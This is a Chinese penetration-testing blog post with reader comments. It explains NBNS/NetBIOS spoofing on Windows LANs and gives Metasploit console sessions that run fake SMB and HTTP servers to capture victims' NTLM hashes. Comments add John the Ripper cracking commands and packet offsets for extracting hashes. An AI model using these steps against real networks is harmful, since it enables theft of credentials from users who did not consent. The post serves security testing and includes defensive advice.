Author:Thanks
Site:http://www.freebuf.com
一 前言
我们知道,在做内网渗透的时候,ARP欺骗、DNS欺骗等手法往往影响较大,且由于上述技术相对古老,防御软件多,加上现在很多的网络设备也逐渐拥有了ARP欺骗防御功能,所以种种情况无疑为我们的内网渗透增加了难度。
最近我在渗透测试工作中用到NetBios Spoofing技术,这种技术对WIN系列XP, 2003, Vista, 7, 2008均有效,能不依赖于ARP Spoofing以较小的成本抓取系统Hash。
二 NetBIOS Name Service (NBNS) 描述
NETBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。
Windows做DNS解析时有如下步骤:
1.local hosts file - C:\Windows\System32\drivers\etc\hosts
2.DNS
3.NBNS
那么当访问者输入一个不存在的域名,而LOCAL HOST FILE、DNS服务器均无法给出解析时,我们可爱又人性化的Windows就会发送NBNS请求进行查询。
请仔细看看上图的抓包,你会发现最给力的是:NBNS请求它是一个广播包!
即任何人可以回复并重定向流量,而不依赖于ARP欺骗。这非常神奇…
讲到现在大家一定思路清晰了:当下我们的目的是回复NBNS响应,从而转移流量进行欺骗。
三 利用方法
NetBios Spoofing利用方法目前来说有两种:HTTP和SMB。
我们先打开Metasploit,使用nbns_response模块,然后设置欺骗IP:
SMB:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /home/tm/johnsmb
JOHNPWFILE => /home/tm/johnsmb
msf auxiliary(smb) > show options
Module options (auxiliary/server/capture/smb):
Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no The local filename to store the hashes in Cain&Abel format
CHALLENGE 1122334455667788 yes The 8 byte challenge
JOHNPWFILE /home/tm/johnsmb no The prefix to the local filename to store the hashes in JOHN format
LOGFILE no The local filename to store the captured hashes
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.
HTTP:
msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set LOGFILE /home/tm/httplog
LOGFILE => /home/tm/johnhttp
msf auxiliary(http_ntlm) > set URIPATH /
URIPATH => /
msf auxiliary(http_ntlm) > set SRVPORT 80
SRVPORT => 80
四 场景
1.同交换环境下,有WINDOWS主机访问不存在的域名,如:http://thanks1132124324.com
2.同交换环境下,有WINDOWS主机进行不存在的SMB通信,如:\\thanks1132124324
如上图,通过以上两种方法我们均能获取被攻击者的HASH(测试机使用的是WIN7)。
而在获得HASH之后,诸如破解、HASH传递等进一步渗透的方法在此不再赘述。值得注意的是,高版本WINDOWS系统由于HASH存储机制的不同(NTLMv2),破解起来难度较大。
五 防御方法
1.使用高版本的WINDOWS系统,使用高强度的密码,以加大HASH破解难度
2.关闭TCP/IP Netbios功能
- 上一篇:Iframe安全威胁
- 下一篇:[翻译]如何渗透测试WordPress网站
0daybank
已有 45 条评论
这招不错!
NetBios这个服务网络共享要用到,大多数局域网应该都开着的吧。。
默认是开的,在内网渗透是一种不错的攻击手法。
围观+1
为啥会带着hash呢。。这个ndns
@oyes 在访问smb共享过程中,会发送LM&NT HASH到服务端进行认证,这个时候做嗅探或劫持对然后对获取到的数据包进行过滤之后就能得到LM&NT HASH值了。
@kelz 用户随便输入什么都记录….觉得比较不好用
@OD 所以数据包要做一些过滤之类的,包里去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做28个字节的偏移,下面的24个字节的内容就是LM HASH,紧接着的24个字节就是NT HASH。详细可看这里http://www.xfocus.net/articles/200305/538.html
测试了一下,这个HASH好像是没有用的,每次都会变
@lion_00 msf nbns模块使用一个固定的chanllenge值(请留意option),所以依然可以爆破hash
不会弄,麻烦教教呗
@thanks 每次变化的,也就是活不能使用HASH注入?
@thanks 回头会再写一篇如何破解的:)
@thanks 破解过程才是王道,这些大家应该都懂 就是破解不了。。
@lion_00 的确会变
这个要Mark!//: 其实ms08-068漏洞根本没有补上,微软没有意识到这个漏洞的本质是什么,这个漏洞本质是自动发送密码泄露了密码,中间人攻击只是利用的一种方式,并且中间人攻击的补丁也只是针对反射回服务器SMB这一种攻击方式。//: mark
不错,可以看出作者对协议很熟悉~
不知道为什么微软就不能将默认的NetBIOS禁止掉···
多谢关注
学习了啊。。
学习了,晚上尝试一下
不错 msf是个强大的东西 内部包含了很多的exp 还可以自己写
很是强大….
牛逼啊
大家来顶死他
随便看看。
灰常有营养
@thinks 去做了一下没有成功。欺骗的ip地址应该是安装msf的ip地址吧?
@linxiaoxiao 是
netBios 早就被我关了。。
今天看到试试,思路不错呀!谢谢!
auxiliary/server/capture/smb 本地伪造SMB SERVER服务器
@Thanks 你抓到的hash解密成功过没有?
只能抓到一半hash的,没办法解密的吧?
新的方法!学习学习!
仔细看了一下我们内部的网络发现netBios一直都是关闭的.没有测试
子墨阳,【使用NetBios Spoofing技术渗透内网】收藏成功。本文正文大约需要12分钟的阅读时间,请访问 稍后再读! 你可以关注 获得私信提醒。
是不是必须开着wins服务?137?
我自己在虚拟机中测试,即便最简单的密码比如123456,捕获的HASH 根本没法破解
原文地址
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
John the Ripper 破解 NTLM HASH 方法:
john –format=netntlmv2 hashes.txt
破解 LM 的 方法:
john –format=lm hashes.txt
http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python
为何HTTP访问会带着HASH?用WIRESHARK也没见抓到过HASH啊,为何?
@ ze0r
@ ze0r
前面已经说过了,因为1和2 都不存在这个域名 就到了nbns这个协议上了。。
Windows做DNS解析时有如下步骤:
1.local hosts file – C:\Windows\System32\drivers\etc\hosts
2.DNS
3.NBNS
设置完毕后需要开启抓包软件吗?不然我这里没反应啊。